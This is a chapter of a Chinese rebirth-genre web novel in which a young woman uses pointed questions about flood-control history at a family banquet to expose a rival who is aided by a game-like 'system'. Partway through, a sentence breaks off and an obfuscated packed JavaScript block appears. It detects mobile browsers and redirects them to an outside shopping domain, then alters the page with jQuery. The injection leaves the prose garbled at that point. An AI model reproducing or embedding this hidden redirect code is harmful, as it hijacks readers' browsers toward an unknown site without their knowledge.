次日的家宴设在花厅。
酉时初,檐下灯笼一盏盏亮起来了。沈元曦随母亲立在花厅门下,看着廊下走来的父兄与那窈窕身影。
柳凝霜今日装扮得用心,一声素裙,上面的水波纹在她走动时若隐若现,玉簪温润生光。她跟在沈文渊身后半步,垂眸敛袖,步步合宜。
“凝霜见过夫人,见过大小姐。”
沈元曦微微颔首:“柳妹妹。”
众人入席,老夫人端坐主位,目光扫过柳凝霜时稍停。
宴至过半,气氛渐暖。沈文渊说起江南水患,沈元晖放下竹箸道:
“儿子近来正写《治水疏》,实务上多有困惑。亏得曦儿心细,前日替我翻出了父亲旧藏的《河防通议》,里头以导代堵、分杀水势的说法确实有见地。只是江南土软水急,真要照着做,还是不知从何处下手。”
沈文渊颔首:“这书确是难得,治水最要紧的,便是顺着地势和水情来,不能一概而论。
话音落下,席间静了一瞬。
柳凝霜轻轻放下竹箸,抬眸时眼中含着恰到好处的专注:
“元晖哥哥所言极是,先父昔年在江宁治水时也曾感慨,江南水道纷繁,只一味筑堤硬堵,反倒容易溃堤成灾。不如先疏通主干,再分引支流,才能长久安稳。”
她语声轻软,却带着几分笃定:“先父曾说他当年治理吴淞江时,便是先疏主干,再引支流,又在险要处设了水闸。平日开闸保航运,汛期便开闸分洪,这般法子,才保了沿岸三年安稳。”
沈元晖果然看来:“柳姑娘竟知吴淞江旧事?”
柳凝霜微微垂首道:“听先父偶尔提过几句,那时年纪尚小,只牢牢记住了疏堵结合,以疏为主这八个字,其他的倒是不甚记得。”
【技能“临场阐析”生效中。话题切入精准,目标沈元晖兴趣提升。】
(系统鼓励:对对对!就这样聊!保持住!吸引他注意力!)
沈元曦执箸的手微微一顿。
来了。
她抬眼看向柳凝霜,神态温婉,言辞恳切,俨然一副家学渊源的模样。
沈文渊已面露赞赏:“元正兄当年治理吴淞江,确是用了疏导之法。你能记得这些,已是不易。”
林蘋安含笑点头,老夫人拨弄念珠的手也缓了几分。
沈元晖眼中兴味更浓,往前微倾了倾身:“那吴淞江的闸口,可是设在三江口?我曾翻《江南水利志》,记得那处地势最是紧要”
柳凝霜唇边绽开一丝羞怯的笑意,正要开口——
“说起三江口,”沈元曦的声音忽然响起,席间顿时静了几分,“我前日翻父亲旧藏的《河防通议》,见他在页边批注,景和八年春,三江口闸基曾因土质松软沉陷,后来改用桩基层层加固,才算稳住。”
她放下竹箸,看向柳凝霜道:
“妹妹方才说保了沿岸三年安宁,可是记错了年限?按父亲批注,景和八年三江口便出了险情,那三年安稳该是景和五年到八年这一段才是。”
话音一落,席间顿时静了下来。
柳凝霜脸上笑意依旧,袖中指尖却悄悄收紧。
【警告!目标提出具体时间疑点!资料库检索中……检索结果:吴淞江治理工程周期为景和五年至十年,期间确有多次修缮。】
她心跳漏了一拍,面上却依旧从容,轻轻摇头道:
“姐姐说的是,是凝霜记混了。先父当年也常说,水利之事从无一劳永逸,全靠时时巡查看护和修缮加固。那三年安宁说的是初成时的功效,后来确如伯父所记,有过加固之事。”
圆得很快。
但沈元曦岂会让她这般轻易过关?
“原来如此。”她微微颔首,却又话锋一转,“只是我还有些好奇,父亲批注中提到,当年加固所用桩木并非江南常见的杉木,而是特选的川中金丝楠,因楠木耐腐,可保数十年不坏。这般选材用料,妹妹可曾听柳伯父提过?”
这一次,柳凝霜沉默的时间长了半分。
席间所有人的目光都落在她身上,沈文渊微微蹙眉,沈元晖眼中兴味淡去,转为审视。
【紧急提示:目标提出具体工艺细节质询!资料库相关信息不足!建议采用模糊化应对!】
柳凝霜深吸一口气,再抬眼时,眸中已浮起一层薄薄的水光。
她轻轻咬了下唇,声音带上一丝哽咽:
“姐姐问得细,凝霜……实在答不上来。”她垂下眼帘,小心翼翼道:“先父教授时,凝霜年纪尚幼,只记得治水的大道理,这些具体工法和用料细节,父亲说女儿家不必深究,懂得因势利导的要义便好。”
她抬眼看向沈元曦,眼中水光潋滟:
“今日听姐姐说起这些,凝霜才晓得自己所知实在粗浅。姐姐博闻强记,连伯父旧籍里的批注都记得这般清楚,我……实在是自愧不如。”
以退为进,先一步示弱,将焦点从她是否说谎转移到她年幼学识浅上。
果然,林蘋安已面露不忍:“曦儿,凝霜那时才多大,能记住这些道理已是不易了。”
沈文渊也缓了神色:“是啊,元正兄教女,重道不重术,也是常理。”
沈元晖望着柳凝霜微红的眼眶,目光里现出几分复杂难辨的意味。
沈元曦只在一旁静静看着。
柳凝霜这一手,不久稍稍化解了方才的窘迫,又顺势把自己柔弱无依的孤女模样立住几分。
但她要的就是这个效果,让柳凝霜在父兄心中种下一粒怀疑的种子。
沈元曦语气复又温和下来,浅笑着道:“妹妹言重了,是我方才问得唐突。你能有这份悟性,已是难得。”
沈元曦不再追问。
宴席继续,气氛却微妙了许多。柳凝霜不再主动接话,只安静用膳,偶尔抬眸时,眼中那份脆弱感拿捏得丝毫不差。
沈元曦也不再看她,只侧头与母亲低声说着家常。
宴至尾声,老夫人缓缓搁下竹箸,一旁李嬷嬷立刻递上帕子。
“我乏了,你们慢用。”老夫人起身,目光在柳凝霜身上停了停,“是个好孩子。既来了,便安心住下。”
柳凝霜起身行礼:“谢老夫人。”
老夫人离去后,沈文渊也往书房去,席间只余林蘋安与三个小辈。
这时,柳凝霜从袖中取出一方素帕,双手奉到沈元曦面前道:
“凝霜身无长物,唯有针线尚可。这帕子是路上闲暇时绣的,姐姐莫嫌。”
沈元曦耳边传来系统音:
【赠礼策略执行中……】
(系统观察:送出精准踩中喜好的手帕,基础操作,加一分。)
沈元曦接过,她拂过帕子上的海棠花瓣。丝线是上好的湖丝,花样也正是她喜欢的海棠。
她抬眼看向柳凝霜:“妹妹绣工真好,这丝线也好,是湖州的上品吧?”
柳凝霜神色坦然:“姐姐好眼力,这是母亲生前存的湖丝,绣的是海棠花样,不知姐姐可喜欢?”
沈元晖在一旁笑道:“她自小便喜欢海棠,院子里那几棵,宝贝似的。”
柳凝霜眼中露出恰到好处的惊喜:“如此便好,我还怕姐姐不喜欢。”
沈元曦仔细将帕子收好,温声道:“妹妹有心了。只是这湖丝珍贵,妹妹该留着自用才是。”
“姐姐喜欢便值得。”柳凝霜柔声应着,随之她起身行礼,动作依旧优雅,只是起身时身形微晃了晃。
“可是不适?”林蘋安关切问道。
“无碍,许是坐久了。”柳凝霜勉强一笑,脸色在灯光下显得愈发苍白。
沈元晖望着她纤弱的背影,眉头微蹙。
宴散时,已近戌时二刻。细雨又起,如丝如雾。
沈元晖送沈元曦回竹烟榭,两人走在廊下,灯笼将身影拉得忽长忽短,廊外雨声淅沥,衬得廊下格外安静。
走了十余步,沈元晖忽然轻声开口:
“曦儿,你方才似乎对柳姑娘格外留意。”
沈元曦脚步未停,声音淡淡:“哥哥看出来了?”
“你问得那样细,”沈元晖侧首看她,“三江口的时间,桩木的选材……不像是随口闲聊。”
他话音微沉,语气里带着探究:“尤其是最后那几句,柳姑娘明显有些接不上来,你可是故意的?”
沈元曦停下脚步,抬眸看他。
烛光下,兄长的面容温润清朗,眼中没有责怪,只有关切和不解。
“哥哥觉得呢?”她轻声反问。
沈元晖沉默片刻,缓缓道:“柳姑娘应对得确实好,起初对答流利,后来被你问住,也能以年幼学识浅圆过去,姿态谦退,倒让人不忍再追问下去。”
他看着沈元曦,眼中困惑更深:“只是我不明
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146239|196378||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
白,曦儿,你为何对她这般戒备?”
他问得直白,却也正是沈元曦最难回答之处。
她不能说自己重生,不能说系统,不能说前世沈家如何因柳凝霜而亡。她只能把那些真话,藏在合乎情理的话语里。
沈元曦望向廊外雨幕,终是回答道:“哥哥,我只是觉得太巧了。”
“太巧?”
“嗯。”她转回头,目光清亮地看着沈元晖,“父亲在路上偶遇故交孤女,巧不巧?柳姑娘恰好懂治水之道,与哥哥志趣相投,巧不巧?她赠我的帕子,恰好绣的是我最喜欢的海棠,用的还是上好的湖丝,巧不巧?”
她每说一个“巧不巧”,语气便沉一分:
“一次巧合是缘分,两次巧合是机缘,三次四次便不像巧合了。”
沈元晖眉头微蹙:“你是说,她有意为之?”
沈元曦摇头道:“我不知道,也许真是巧合,也许是她细心观察,但哥哥——”
她上前半步,那眼神认真得让沈元晖心头一紧:
一个父母双亡、千里投亲的孤女,初入陌生府邸,言行举止竟处处妥帖,连治水工法这般冷僻实务都能对答如流。这般沉稳心性,哥哥不觉得实在太过不同寻常了吗?
沈元晖怔住了,他从未从这个角度想过。
是啊,寻常十六岁的姑娘,骤然经历家变,远赴京城,寄人篱下,即便再知礼,也该有几分惶然不安才对。
可柳凝霜……
宴席上那份从容,应对时那份急智,最后示弱时那份恰到好处的脆弱,每一处都精准得像是精心排练过。
“也许……”沈元晖迟疑道,“是她自幼随父游历,见识得多,性情早熟些?”
“也许吧。”沈元曦不置可否。
她知道,此刻说得再多,兄长也未必全信。有些事,得他自己慢慢看透。
“哥哥,”她伸手轻轻拉住兄长的衣袖,语气软了下来,带着些许恳切,“我不是要你疏远柳姑娘,更不是要你苛待她。她身世可怜,咱们该照应的,自然要照应。”
“我只是想提醒哥哥,多留一分心。她再好,也是外人。咱们沈家,才是真正的一家人。”
夜风穿廊,吹得灯笼晃了晃,灯光在她脸上忽明忽暗。
沈元晖望着妹妹认真的模样,心头那点因柳凝霜泛起的淡淡情感,此刻化开些许。
他伸手轻轻拍了拍她的肩:“我知道了,你放心,哥哥有分寸。”
回到竹烟榭,沈元曦屏退左右,独坐案前。
烛火摇曳。
柳凝霜今夜用了“临场阐析”技能,她听到了。那系统能赋予她超出本身学识的应变能力,但并非全知全能,至少对具体的批注细节,它无法即时提供。
这是一个重要信息。
春桃轻手轻脚进来道:“小姐,听雪轩那边传了府医,说是柳姑娘有些头晕。”
沈元曦抬眸:“可严重?”
“府医说无大碍,只是体虚,又劳了神。”春桃顿了一下,“大少爷去探望了,在院外问了情况,没进去。”
沈元曦指尖轻轻划过案面。
兄长还是心软了,不过幸好,他还守着分寸。
“知道了。”她淡淡道。
听雪轩内,柳凝霜靠坐在榻上,脸色苍白。
【家宴事件总结:遭遇目标沈元曦针对性质疑。关键信息点被揭破,形象受损。沈元晖好感度波动:+2(怜惜),-3(疑窦)。当前好感度:47。】
【获得气运点奖励:+10。当前气运点:80/1000。】
【警告:沈元曦对宿主掌握信息超出预期。】
柳凝霜闭了闭眼。
沈元曦她怎么会知道得那么细?连批注细节都记得?
是巧合?还是……
今夜这一局,她虽勉强稳住阵脚,却也已露了破绽。沈元曦那几句看似温和的追问,实则刀刀见血。
更让她心惊的是沈元曦的态度。那淡然里藏着探究,目光扫过来,倒像是把她心里那点弯弯绕绕都看得透亮。
“姑娘,药煎好了。”春杏端着药碗进来。
柳凝霜接过药碗慢慢饮尽,苦涩药汁入喉,却压不下心头那股寒意。
她得赶紧行动,沈元曦防备太重,寻常法子已经没用。她得想个更狠的法子,来一场大的,才能把局面翻过来。